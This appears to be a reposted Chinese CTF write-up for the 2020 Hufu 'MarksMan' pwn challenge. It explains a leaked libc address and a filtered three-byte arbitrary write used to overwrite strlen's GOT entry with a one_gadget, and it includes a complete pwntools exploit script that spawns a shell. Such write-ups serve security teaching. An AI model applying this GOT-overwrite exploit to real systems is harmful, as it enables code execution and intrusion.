当前位置:   article > 正文

虎符CTF2020 部分题目复现(连续更新)_hafuhafu ctf

hafuhafu ctf

PWN

0x0 MarksMan

【保护】:
在这里插入图片描述
【代码】:
在这里插入图片描述

  • 很明显程序一开始就向我们泄露了libc的内存,如果通过检测,就可以任意地址写3个字节。如果能找到一处可控的调用,直接修改程one_gadget就可以了。
  • 看看这个check检查了什么
    在这里插入图片描述
  • 这是过滤了部分字节,默认的one_gadget只能查看很少的可用地址,需要加上 -l参数,并指定一个较小的数字,如2,这样就能够得到更多可用地址。
  • 现在来看看到底怎么找可控的调用。程序最后是会调用puts函数的,自己写一个demo做测试可以发现,puts函数内部会先调用strlen,而此函数正好可以在libcgot找到。所以思路就是修改strlenlibc中的got项。

EXP

#!/usr/bin/env python
# coding=utf-8
from pwn import*

#context.log_level=1
file='chall'
lib='./libc.so.6'
p=process('./'+file, env={'LD_PRELOAD':lib})#remote('39.97.210.182',10055)
PIE=p.libs()[p.cwd+'/'+file]
success('PIE:'+hex(PIE))
libc=ELF(lib,checksec=False)

p.recvuntil('near: ')
puts=int(p.recvuntil('\n'),16)
libc_base=puts-libc.sym['puts']
one=0xe585f
target=0x3eb0a8+libc_base
success('target:'+hex(target))
success('libc_base:'+hex(libc_base))
success('GOT:'+hex(0x01ead60+libc_base))
success('shoot:'+hex((one+libc_base)&0xffffff))

shoot=(one+libc_base)&0xffffff
p.sendlineafter('shoot!shoot!\n',str(target))
p.sendlineafter('biang!\n',p8(shoot&0xff))
p.sendlineafter('biang!\n',p8((shoot>>8)&0xff))
p.sendlineafter('biang!\n',p8((shoot>>16)&0xff))

p.interactive()

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/我家小花儿/article/detail/544484
推荐阅读
相关标签
  

闽ICP备14008679号